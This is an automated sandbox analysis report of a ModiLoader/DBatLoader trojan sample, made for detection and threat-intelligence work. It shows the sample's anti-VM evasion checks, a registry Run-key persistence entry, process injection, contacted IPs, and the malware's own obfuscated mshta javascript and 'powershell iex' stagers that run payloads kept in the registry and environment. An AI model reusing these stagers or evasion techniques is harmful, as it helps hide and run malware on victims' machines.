Malware Analysis Report

2024-10-23 19:36

Sample ID 240506-d2alxaff6y
Target 1a8c3623227981e5a96519fe61794f0a_JaffaCakes118
SHA256 1005d9d3469a17cc91a918db63400dff5cc84be4502e7c11cf23aff4a7360347
Tags
modiloader evasion persistence trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

1005d9d3469a17cc91a918db63400dff5cc84be4502e7c11cf23aff4a7360347

Threat Level: Known bad

The file 1a8c3623227981e5a96519fe61794f0a_JaffaCakes118 was found to be: Known bad.

Malicious Activity Summary

modiloader evasion persistence trojan

ModiLoader, DBatLoader

Process spawned unexpected child process

Looks for VirtualBox drivers on disk

Looks for VirtualBox Guest Additions in registry

Checks for common network interception software

ModiLoader Second Stage

Looks for VMWare Tools registry key

Deletes itself

Checks BIOS information in registry

Checks computer location settings

Adds Run key to start application

Maps connected drives based on registry

Suspicious use of SetThreadContext

Drops file in System32 directory

Enumerates physical storage devices

Unsigned PE

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

Modifies Internet Explorer settings

Suspicious behavior: EnumeratesProcesses

Modifies registry class

Suspicious use of SetWindowsHookEx

Suspicious behavior: MapViewOfSection

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-05-06 03:29

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-06 03:29

Reported

2024-05-06 03:32

Platform

win7-20240221-en

Max time kernel

149s

Max time network

153s

Command Line

"C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\mshta.exe

Checks for common network interception software

evasion

Looks for VirtualBox Guest Additions in registry

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions C:\Windows\SysWOW64\regsvr32.exe N/A

Looks for VirtualBox drivers on disk

evasion
Description Indicator Process Target
File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys C:\Windows\SysWOW64\regsvr32.exe N/A

ModiLoader Second Stage

Description Indicator Process Target
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Looks for VMWare Tools registry key

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools C:\Windows\SysWOW64\regsvr32.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A

Deletes itself

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\9ef75\\71165.bat\"" C:\Windows\SysWOW64\regsvr32.exe N/A

Maps connected drives based on registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 C:\Windows\SysWOW64\regsvr32.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\International C:\Windows\SysWOW64\regsvr32.exe N/A

Modifies registry class

Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\75e31\shell\open\command\ = "\"C:\\Windows\\system32\\mshta.exe\" \"javascript:lYcE06=\"oFZhM\";ud9=new ActiveXObject(\"WScript.Shell\");Te8wKyg5=\"Z\";wx3Qq9=ud9.RegRead(\"HKCU\\\\software\\\\jvvo\\\\xbawnqo\");s9P7vkp=\"fiq\";eval(wx3Qq9);iU8SvNtP3=\"gUSA\";\"" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\.344a87 C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\.344a87\ = "75e31" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\75e31 C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\75e31\shell C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\75e31\shell\open C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\75e31\shell\open\command C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
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N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2952 wrote to memory of 2968 N/A C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe
PID 2952 wrote to memory of 2968 N/A C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe
PID 2952 wrote to memory of 2968 N/A C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe
PID 2952 wrote to memory of 2968 N/A C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe
PID 2952 wrote to memory of 2968 N/A C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe
PID 2952 wrote to memory of 2968 N/A C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe
PID 2952 wrote to memory of 2968 N/A C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe
PID 2952 wrote to memory of 2968 N/A C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe
PID 2952 wrote to memory of 2968 N/A C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe
PID 2952 wrote to memory of 2968 N/A C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe
PID 2952 wrote to memory of 2968 N/A C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe
PID 2952 wrote to memory of 2968 N/A C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe
PID 2016 wrote to memory of 2528 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2016 wrote to memory of 2528 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2016 wrote to memory of 2528 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2016 wrote to memory of 2528 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2528 wrote to memory of 1920 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2528 wrote to memory of 1920 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2528 wrote to memory of 1920 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2528 wrote to memory of 1920 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2528 wrote to memory of 1920 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2528 wrote to memory of 1920 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2528 wrote to memory of 1920 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2528 wrote to memory of 1920 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1920 wrote to memory of 2140 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1920 wrote to memory of 2140 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1920 wrote to memory of 2140 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1920 wrote to memory of 2140 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1920 wrote to memory of 2140 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1920 wrote to memory of 2140 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1920 wrote to memory of 2140 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1920 wrote to memory of 2140 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe

Processes

C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe"

C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe"

C:\Windows\system32\mshta.exe

"C:\Windows\system32\mshta.exe" javascript:sLB6WqmD7="5oU";Q4v=new%20ActiveXObject("WScript.Shell");sR8DPxKg="Pb";r5J7qu=Q4v.RegRead("HKCU\\software\\3sjDoGgo4\\7pob1Lm");IExKV0="E";eval(r5J7qu);kMu9ZYyg3="kOdHPhy";

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:jqlilo

C:\Windows\SysWOW64\regsvr32.exe

regsvr32.exe

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\SysWOW64\regsvr32.exe"

Network

Country Destination Domain Proto
US 6.19.47.205:443 tcp
BR 201.10.65.131:80 tcp
US 214.29.207.28:80 tcp
US 21.137.188.167:80 tcp
SA 100.192.171.7:80 tcp
US 166.186.226.118:443 tcp
US 75.36.33.177:80 tcp
US 21.38.40.46:80 tcp
FR 193.33.12.244:80 tcp
US 134.66.251.135:80 tcp
US 131.192.21.254:80 tcp
US 134.73.70.250:80 tcp
KR 182.163.239.157:80 tcp
US 170.2.211.241:80 tcp
KR 183.110.111.176:80 tcp
IT 151.52.172.160:80 tcp
US 33.95.220.135:8080 tcp
BR 179.228.233.230:80 tcp
US 9.107.49.102:80 tcp
FR 92.91.208.82:80 tcp
FR 192.70.13.23:80 tcp
BR 201.20.168.169:80 tcp
N/A 10.145.18.109:80 tcp
DE 141.44.222.203:80 tcp
BR 191.211.110.15:80 tcp
US 55.86.160.245:80 tcp
US 216.186.248.185:80 tcp
CN 219.223.90.99:80 tcp
US 164.232.14.128:80 tcp
MA 196.64.162.35:443 tcp
CN 42.172.36.113:80 tcp
AU 1.129.64.110:80 tcp
US 44.53.25.188:8080 tcp
US 130.175.226.167:8080 tcp
HU 78.139.31.205:80 tcp
US 96.77.178.74:8080 tcp
CN 171.80.90.224:80 tcp
IT 87.27.177.143:80 tcp
US 48.207.77.20:80 tcp
US 74.249.176.200:80 tcp
JP 219.61.225.191:80 tcp
BI 196.2.11.23:80 tcp
UA 176.37.126.14:80 tcp
US 23.113.170.5:80 tcp
KR 118.128.79.35:80 tcp
IN 114.143.58.36:80 tcp
US 66.160.194.210:80 tcp
MA 102.53.194.123:80 tcp
ZA 41.1.221.244:80 tcp
CA 192.95.149.92:443 tcp
US 48.67.33.122:80 tcp
MX 189.198.85.5:80 tcp
US 22.220.174.35:80 tcp
US 184.232.49.2:80 tcp
US 33.195.251.191:80 tcp
US 75.60.120.159:80 tcp
BR 200.203.39.186:80 tcp
US 50.173.19.179:80 tcp
US 205.153.51.40:80 tcp
CN 175.160.21.154:80 tcp
US 67.92.126.136:80 tcp
US 12.155.190.113:443 tcp
US 16.101.76.119:80 tcp
SK 193.87.210.219:80 tcp
US 208.48.67.93:80 tcp
MU 102.230.95.145:80 tcp
NL 80.82.64.94:80 tcp
US 156.119.69.173:80 tcp
DK 109.56.191.93:80 tcp
US 44.160.149.226:80 tcp
CN 111.226.45.191:80 tcp
US 12.250.35.150:80 tcp
KR 220.93.92.25:443 tcp
US 132.173.228.252:80 tcp
US 164.170.209.72:80 tcp
US 63.114.236.223:80 tcp
US 8.86.26.139:80 tcp
FI 88.193.86.231:80 tcp
RO 46.214.41.234:80 tcp
US 215.113.24.116:8080 tcp
CN 42.199.169.45:80 tcp
US 131.6.156.9:80 tcp
US 32.78.52.242:80 tcp
UA 93.77.147.178:80 tcp
KR 60.196.151.239:80 tcp
CN 36.41.93.186:80 tcp
JP 101.53.112.127:80 tcp
CN 222.169.237.213:80 tcp
CN 110.167.72.146:80 tcp
JP 202.253.163.190:80 tcp
CA 144.217.234.177:80 tcp
DE 93.198.87.141:443 tcp
US 4.204.125.54:80 tcp
AU 60.224.251.94:80 tcp
US 20.129.114.59:80 tcp
FR 78.123.95.24:443 tcp
IN 103.60.102.242:80 tcp
US 66.210.73.228:80 tcp
IR 5.217.245.63:80 tcp
US 15.59.60.27:80 tcp
CN 8.139.182.71:80 tcp
AR 190.244.192.128:80 tcp
CN 122.233.132.182:443 tcp
PT 2.82.186.111:80 tcp
JP 35.189.156.208:80 tcp
JP 103.208.99.86:80 tcp
BR 135.3.49.253:80 tcp

Files

memory/2968-2-0x0000000000400000-0x000000000043C000-memory.dmp

memory/2968-4-0x0000000000400000-0x000000000043C000-memory.dmp

memory/2968-5-0x0000000000400000-0x000000000043C000-memory.dmp

memory/2968-6-0x0000000001CE0000-0x0000000001DBA000-memory.dmp

memory/2968-10-0x0000000001CE0000-0x0000000001DBA000-memory.dmp

memory/2968-9-0x0000000001CE0000-0x0000000001DBA000-memory.dmp

memory/2968-8-0x0000000001CE0000-0x0000000001DBA000-memory.dmp

memory/2968-7-0x0000000001CE0000-0x0000000001DBA000-memory.dmp

memory/2968-11-0x0000000001CE0000-0x0000000001DBA000-memory.dmp

memory/2968-12-0x0000000001CE0000-0x0000000001DBA000-memory.dmp

memory/2528-19-0x0000000006170000-0x000000000624A000-memory.dmp

memory/1920-20-0x0000000000220000-0x0000000000367000-memory.dmp

memory/1920-24-0x0000000000220000-0x0000000000367000-memory.dmp

memory/1920-29-0x0000000000220000-0x0000000000367000-memory.dmp

memory/1920-30-0x0000000000220000-0x0000000000367000-memory.dmp

memory/1920-28-0x0000000000220000-0x0000000000367000-memory.dmp

memory/1920-27-0x0000000000220000-0x0000000000367000-memory.dmp

memory/1920-26-0x0000000000220000-0x0000000000367000-memory.dmp

memory/1920-25-0x0000000000220000-0x0000000000367000-memory.dmp

memory/2528-23-0x0000000006170000-0x000000000624A000-memory.dmp

memory/1920-22-0x0000000000220000-0x0000000000367000-memory.dmp

memory/1920-33-0x0000000000220000-0x0000000000367000-memory.dmp

memory/1920-39-0x0000000000220000-0x0000000000367000-memory.dmp

memory/1920-42-0x0000000000220000-0x0000000000367000-memory.dmp

memory/1920-44-0x0000000000220000-0x0000000000367000-memory.dmp

memory/1920-51-0x0000000000220000-0x0000000000367000-memory.dmp

memory/1920-46-0x0000000000220000-0x0000000000367000-memory.dmp

memory/1920-45-0x0000000000220000-0x0000000000367000-memory.dmp

memory/1920-43-0x0000000000220000-0x0000000000367000-memory.dmp

memory/1920-41-0x0000000000220000-0x0000000000367000-memory.dmp

memory/1920-40-0x0000000000220000-0x0000000000367000-memory.dmp

memory/1920-38-0x0000000000220000-0x0000000000367000-memory.dmp

memory/1920-37-0x0000000000220000-0x0000000000367000-memory.dmp

memory/1920-36-0x0000000000220000-0x0000000000367000-memory.dmp

memory/1920-35-0x0000000000220000-0x0000000000367000-memory.dmp

memory/1920-34-0x0000000000220000-0x0000000000367000-memory.dmp

memory/1920-32-0x0000000000220000-0x0000000000367000-memory.dmp

memory/1920-31-0x0000000000220000-0x0000000000367000-memory.dmp

memory/2528-21-0x0000000002DE0000-0x0000000004DE0000-memory.dmp

memory/1920-55-0x0000000000220000-0x0000000000367000-memory.dmp

memory/1920-53-0x0000000000220000-0x0000000000367000-memory.dmp

memory/1920-57-0x0000000000220000-0x0000000000367000-memory.dmp

memory/2968-64-0x0000000001CE0000-0x0000000001DBA000-memory.dmp

memory/1920-56-0x0000000000220000-0x0000000000367000-memory.dmp

memory/1920-54-0x0000000000220000-0x0000000000367000-memory.dmp

memory/1920-52-0x0000000000220000-0x0000000000367000-memory.dmp

memory/2140-79-0x0000000000250000-0x0000000000397000-memory.dmp

memory/2140-78-0x0000000000250000-0x0000000000397000-memory.dmp

memory/2140-77-0x0000000000250000-0x0000000000397000-memory.dmp

memory/2140-75-0x0000000000250000-0x0000000000397000-memory.dmp

memory/2140-73-0x0000000000250000-0x0000000000397000-memory.dmp

memory/2140-72-0x0000000000250000-0x0000000000397000-memory.dmp

memory/2140-76-0x0000000000250000-0x0000000000397000-memory.dmp

memory/2140-74-0x0000000000250000-0x0000000000397000-memory.dmp

memory/2140-71-0x0000000000250000-0x0000000000397000-memory.dmp

memory/2140-70-0x0000000000250000-0x0000000000397000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-06 03:29

Reported

2024-05-06 03:32

Platform

win10v2004-20240419-en

Max time kernel

141s

Max time network

125s

Command Line

"C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\mshta.exe

ModiLoader Second Stage

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2818691465-3043947619-2475182763-1000\Control Panel\International\Geo\Nation C:\Windows\system32\mshta.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1952 wrote to memory of 4088 N/A C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe
PID 1952 wrote to memory of 4088 N/A C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe
PID 1952 wrote to memory of 4088 N/A C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe
PID 1952 wrote to memory of 4088 N/A C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe
PID 1952 wrote to memory of 4088 N/A C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe
PID 1952 wrote to memory of 4088 N/A C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe
PID 1952 wrote to memory of 4088 N/A C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe
PID 1952 wrote to memory of 4088 N/A C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe
PID 1952 wrote to memory of 4088 N/A C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe
PID 1952 wrote to memory of 4088 N/A C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe
PID 1952 wrote to memory of 4088 N/A C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe
PID 3216 wrote to memory of 2080 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3216 wrote to memory of 2080 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3216 wrote to memory of 2080 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe"

C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe"

C:\Windows\system32\mshta.exe

"C:\Windows\system32\mshta.exe" javascript:jbsknT3="W5ULKwM3";Ka9=new%20ActiveXObject("WScript.Shell");iLPgX1p="q";r0wEU=Ka9.RegRead("HKCU\\software\\IpPBcK\\DdP2HHfX8W");Qto0f="c6lzhmtu";eval(r0wEU);Jk0qE7Yqa="iZoJ4";

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:zhhzlyb

Network

Country Destination Domain Proto
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 79.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 14.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
NL 23.62.61.194:443 www.bing.com tcp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 194.61.62.23.in-addr.arpa udp
US 8.8.8.8:53 241.150.49.20.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp
US 8.8.8.8:53 49.15.97.104.in-addr.arpa udp
US 8.8.8.8:53 48.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp

Files

memory/4088-2-0x0000000000400000-0x000000000043C000-memory.dmp

memory/4088-4-0x0000000000400000-0x000000000043C000-memory.dmp

memory/4088-5-0x0000000000400000-0x000000000043C000-memory.dmp

memory/4088-10-0x0000000000890000-0x000000000096A000-memory.dmp

memory/4088-9-0x0000000000890000-0x000000000096A000-memory.dmp

memory/4088-8-0x0000000000890000-0x000000000096A000-memory.dmp

